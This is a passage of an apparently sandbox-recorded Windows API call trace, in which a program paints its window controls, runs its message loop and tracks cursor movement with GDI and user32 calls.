[0263.801] DeleteObject (ho=0xf30017b) returned 1 [0263.801] MoveToEx (in: hdc=0x2a010b57, x=0, y=1, lppt=0x0 | out: lppt=0x0) returned 1 [0263.801] GetSysColor (nIndex=20) returned 0xffffff [0263.802] CreatePenIndirect (plpen=0x18fafc) returned 0x11300168 [0263.802] SelectObject (hdc=0x2a010b57, h=0x11300168) returned 0x1b00017 [0263.802] SetROP2 (hdc=0x2a010b57, rop2=13) returned 13 [0263.802] LineTo (hdc=0x2a010b57, x=497, y=1) returned 1 [0263.802] SelectObject (hdc=0x2a010b57, h=0x1b00017) returned 0x11300168 [0263.802] SelectObject (hdc=0x2a010b57, h=0x1900015) returned 0x1900010 [0263.802] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x18a002e [0263.802] GetCurrentPositionEx (in: hdc=0x2a010b57, lppt=0x18fb78 | out: lppt=0x18fb78) returned 1 [0263.802] RestoreDC (hdc=0x2a010b57, nSavedDC=1) returned 1 [0263.802] EndPaint (hWnd=0xc0060, lpPaint=0x18fc18) returned 1 [0263.802] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.802] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.802] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.802] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0263.802] SendMessageA (hWnd=0x10348, Msg=0xbd38, wParam=0x1f01019b, lParam=0x10348) returned 0xe100186 [0263.802] GetSysColor (nIndex=8) returned 0x0 [0263.802] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0263.802] GetSysColor (nIndex=15) returned 0xf0f0f0 [0263.802] SetBkColor (hdc=0x1f01019b, color=0xf0f0f0) returned 0xffffff [0263.803] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1a [0263.803] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xd, wParam=0x1b, lParam=0x18e9b4) returned 0x1a [0263.803] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1a [0263.803] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xd, wParam=0x1b, lParam=0x18e8e4) returned 0x1a [0263.803] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xd, wParam=0x36, lParam=0x18e8b8) returned 0x1a [0263.804] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.804] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.804] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.804] BeginPaint (in: hWnd=0x60050, lpPaint=0x18fc70 | out: lpPaint=0x18fc70) returned 0x1b0106ca [0263.804] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0xf, wParam=0x1b0106ca, lParam=0x0) returned 0x0 [0263.805] EndPaint (hWnd=0x60050, lpPaint=0x18fc70) returned 1 [0263.805] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.805] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.805] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.805] BeginPaint (in: hWnd=0x10342, lpPaint=0x18fc78 | out: lpPaint=0x18fc78) returned 0x1f01019b [0263.805] SaveDC (hdc=0x1f01019b) returned 1 [0263.805] ExcludeClipRect (hdc=0x1f01019b, left=0, top=0, right=164, bottom=314) returned 3 [0263.805] MoveToEx (in: hdc=0x1f01019b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0263.805] GetCurrentPositionEx (in: hdc=0x1f01019b, lppt=0x18fc3c | out: lppt=0x18fc3c) returned 1 [0263.805] RestoreDC (hdc=0x1f01019b, nSavedDC=1) returned 1 [0263.805] RectVisible (hdc=0x1f01019b, lprect=0x18fc3c) returned 1 [0263.805] SaveDC (hdc=0x1f01019b) returned 1 [0263.805] GetWindowOrgEx (in: hdc=0x1f01019b, lppoint=0x18fc10 | out: lppoint=0x18fc10) returned 1 [0263.805] SetWindowOrgEx (in: hdc=0x1f01019b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0263.805] IntersectClipRect (hdc=0x1f01019b, left=0, top=0, right=164, bottom=314) returned 3 [0263.805] MoveToEx (in: hdc=0x1f01019b, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0263.805] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0263.805] GetSysColor (nIndex=8) returned 0x0 [0263.805] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0263.805] SelectObject (hdc=0x1f01019b, h=0x640a01f1) returned 0x18a002e [0263.805] GetSysColor (nIndex=8) returned 0x0 [0263.806] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0263.806] SelectObject (hdc=0x1f01019b, h=0x3c3001b3) returned 0x1b00017 [0263.806] SetROP2 (hdc=0x1f01019b, rop2=13) returned 13 [0263.806] CreateBrushIndirect (plbrush=0x18fb08) returned 0x1410017b [0263.806] UnrealizeObject (h=0x1410017b) returned 1 [0263.806] SelectObject (hdc=0x1f01019b, h=0x1410017b) returned 0x1900010 [0263.806] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0263.806] SetBkMode (hdc=0x1f01019b, mode=2) returned 2 [0263.806] SetStretchBltMode (hdc=0x1f01019b, mode=3) returned 1 [0263.806] GetDeviceCaps (hdc=0x1f01019b, index=38) returned 32409 [0263.806] StretchDIBits (hdc=0x1f01019b, xDest=0, yDest=0, DestWidth=164, DestHeight=314, xSrc=0, ySrc=0, SrcWidth=164, SrcHeight=314, lpBits=0x5ba3c0, lpbmi=0x5ba398, iUsage=0x0, rop=0xcc0020) returned 314 [0263.807] SelectObject (hdc=0x1f01019b, h=0x1b00017) returned 0x3c3001b3 [0263.807] SelectObject (hdc=0x1f01019b, h=0x1900015) returned 0x1410017b [0263.807] SelectObject (hdc=0x1f01019b, h=0x18a002e) returned 0x640a01f1 [0263.807] GetCurrentPositionEx (in: hdc=0x1f01019b, lppt=0x18fbd8 | out: lppt=0x18fbd8) returned 1 [0263.807] RestoreDC (hdc=0x1f01019b, nSavedDC=1) returned 1 [0263.807] EndPaint (hWnd=0x10342, lpPaint=0x18fc78) returned 1 [0263.807] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.807] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.807] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.807] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0263.807] SendMessageA (hWnd=0x10346, Msg=0xbd38, wParam=0x1b0106ca, lParam=0x10346) returned 0x2f100178 [0263.808] GetSysColor (nIndex=8) returned 0x0 [0263.808] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0263.808] GetSysColor (nIndex=5) returned 0xffffff [0263.808] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0263.808] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x59 [0263.808] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xd, wParam=0x5a, lParam=0x18e9b4) returned 0x59 [0263.808] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x59 [0263.808] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xd, wParam=0x5a, lParam=0x18e8e4) returned 0x59 [0263.808] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xd, wParam=0xb4, lParam=0x18e8b8) returned 0x59 [0263.813] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.813] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.813] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.813] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0263.813] SendMessageA (hWnd=0x10344, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10344) returned 0x2f100178 [0263.813] GetSysColor (nIndex=8) returned 0x0 [0263.813] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0263.813] GetSysColor (nIndex=5) returned 0xffffff [0263.813] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0263.813] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd6 [0263.813] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xd, wParam=0xd7, lParam=0x18e9b4) returned 0xd6 [0263.814] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd6 [0263.814] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xd, wParam=0xd7, lParam=0x18e8e4) returned 0xd6 [0263.814] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0xd, wParam=0x1ae, lParam=0x18e8b8) returned 0xd6 [0263.817] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.817] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.817] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.817] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0263.818] IsIconic (hWnd=0xc0060) returned 0 [0263.818] IsIconic (hWnd=0xc0060) returned 0 [0263.818] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0263.818] FillRect (hDC=0x3701069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0263.818] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3701069e, lParam=0x4) returned 0x0 [0263.818] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3701069e, lParam=0x10340) returned 0xe100186 [0263.818] GetSysColor (nIndex=8) returned 0x0 [0263.818] SetTextColor (hdc=0x3701069e, color=0x0) returned 0x0 [0263.818] GetSysColor (nIndex=15) returned 0xf0f0f0 [0263.818] SetBkColor (hdc=0x3701069e, color=0xf0f0f0) returned 0xffffff [0263.819] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0263.820] GetCurrentProcessId () returned 0x8d0 [0263.820] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0263.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0263.820] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0263.820] GetCurrentProcessId () returned 0x8d0 [0263.820] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0263.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0263.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0263.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0263.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0263.828] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.828] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.828] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.828] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0263.828] IsIconic (hWnd=0xc0060) returned 0 [0263.828] IsIconic (hWnd=0xc0060) returned 0 [0263.828] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0263.828] FillRect (hDC=0x3801069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0263.828] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3801069e, lParam=0x4) returned 0x0 [0263.828] SendMessageA (hWnd=0x1033e, Msg=0xbd35, wParam=0x3801069e, lParam=0x1033e) returned 0xe100186 [0263.828] GetSysColor (nIndex=8) returned 0x0 [0263.828] SetTextColor (hdc=0x3801069e, color=0x0) returned 0x0 [0263.829] GetSysColor (nIndex=15) returned 0xf0f0f0 [0263.829] SetBkColor (hdc=0x3801069e, color=0xf0f0f0) returned 0xffffff [0263.829] GetWindowThreadProcessId (in: hWnd=0x1033e, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0263.829] GetCurrentProcessId () returned 0x8d0 [0263.829] GetPropA (hWnd=0x1033e, lpString=0xc167) returned 0x2c8680c [0263.829] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xbc4e, wParam=0x1033e, lParam=0x18f8b8) returned 0x0 [0263.829] GetWindowThreadProcessId (in: hWnd=0x1033e, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0263.829] GetCurrentProcessId () returned 0x8d0 [0263.829] GetPropA (hWnd=0x1033e, lpString=0xc167) returned 0x2c8680c [0263.829] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xbc4e, wParam=0x1033e, lParam=0x18f8b8) returned 0x0 [0263.829] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0263.829] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xd, wParam=0x7, lParam=0x18e78c) returned 0x6 [0263.829] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xd, wParam=0xe, lParam=0x18e764) returned 0x6 [0263.830] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0263.830] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=748, y=485)) returned 1 [0263.830] WindowFromPoint (Point=0x2ed) returned 0x10344 [0263.830] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1e402ed) returned 0x1 [0263.830] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0263.830] GetCurrentProcessId () returned 0x8d0 [0263.830] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.830] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0263.830] GetCapture () returned 0x0 [0263.830] WaitMessage () returned 1 [0263.890] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.890] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.890] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.890] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0263.890] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=748, y=485)) returned 1 [0263.890] WindowFromPoint (Point=0x2ce) returned 0x10344 [0263.890] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1ee02ce) returned 0x1 [0263.890] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0263.890] GetCurrentProcessId () returned 0x8d0 [0263.890] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.891] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0263.891] GetCapture () returned 0x0 [0263.891] WaitMessage () returned 1 [0263.957] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.957] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1ee02f5) returned 0x1 [0263.957] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=757, y=494)) returned 1 [0263.957] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0263.957] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.957] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.957] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.957] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.958] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.958] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.958] GetCapture () returned 0x0 [0263.958] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0263.958] WindowFromPoint (Point=0x2f5) returned 0x10344 [0263.958] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1ee02f5) returned 0x1 [0263.958] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0263.958] GetCurrentProcessId () returned 0x8d0 [0263.958] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.958] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0263.958] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0x90006e) returned 0x0 [0263.958] GetKeyState (nVirtKey=18) returned 1 [0263.958] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0263.958] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=757, y=494)) returned 1 [0263.958] WindowFromPoint (Point=0x2f8) returned 0x10344 [0263.958] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1f002f8) returned 0x1 [0263.958] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0263.958] GetCurrentProcessId () returned 0x8d0 [0263.958] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.958] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0263.958] GetCapture () returned 0x0 [0263.958] WaitMessage () returned 1 [0263.985] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.986] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1f802ff) returned 0x1 [0263.986] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=767, y=504)) returned 1 [0263.986] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0263.986] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.986] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.986] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.986] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.986] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.986] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.986] GetCapture () returned 0x0 [0263.986] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0263.986] WindowFromPoint (Point=0x2ff) returned 0x10344 [0263.986] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1f802ff) returned 0x1 [0263.986] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0263.986] GetCurrentProcessId () returned 0x8d0 [0263.986] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.986] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0263.986] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0x9a0078) returned 0x0 [0263.987] GetKeyState (nVirtKey=18) returned 1 [0263.987] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0263.987] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=767, y=504)) returned 1 [0263.987] WindowFromPoint (Point=0x300) returned 0x10344 [0263.987] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1f80300) returned 0x1 [0263.987] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0263.987] GetCurrentProcessId () returned 0x8d0 [0263.987] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.987] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0263.987] GetCapture () returned 0x0 [0263.987] WaitMessage () returned 1 [0264.047] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.047] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2020309) returned 0x1 [0264.047] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=777, y=514)) returned 1 [0264.047] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.047] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.047] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.047] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.047] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.048] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.048] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.048] GetCapture () returned 0x0 [0264.048] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.048] WindowFromPoint (Point=0x309) returned 0x10344 [0264.048] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2020309) returned 0x1 [0264.049] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0264.049] GetCurrentProcessId () returned 0x8d0 [0264.049] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.049] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0264.049] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0xa40082) returned 0x0 [0264.049] GetKeyState (nVirtKey=18) returned 1 [0264.049] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.049] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=777, y=514)) returned 1 [0264.049] WindowFromPoint (Point=0x309) returned 0x10344 [0264.049] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x2020309) returned 0x1 [0264.050] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.050] GetCurrentProcessId () returned 0x8d0 [0264.050] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0264.050] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.050] GetCapture () returned 0x0 [0264.050] WaitMessage () returned 1 [0264.059] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.059] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x20c0313) returned 0x1 [0264.059] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=787, y=524)) returned 1 [0264.059] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0264.059] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0264.060] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.060] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.060] GetCapture () returned 0x0 [0264.060] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0264.060] WindowFromPoint (Point=0x313) returned 0x10344 [0264.060] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x20c0313) returned 0x1 [0264.060] 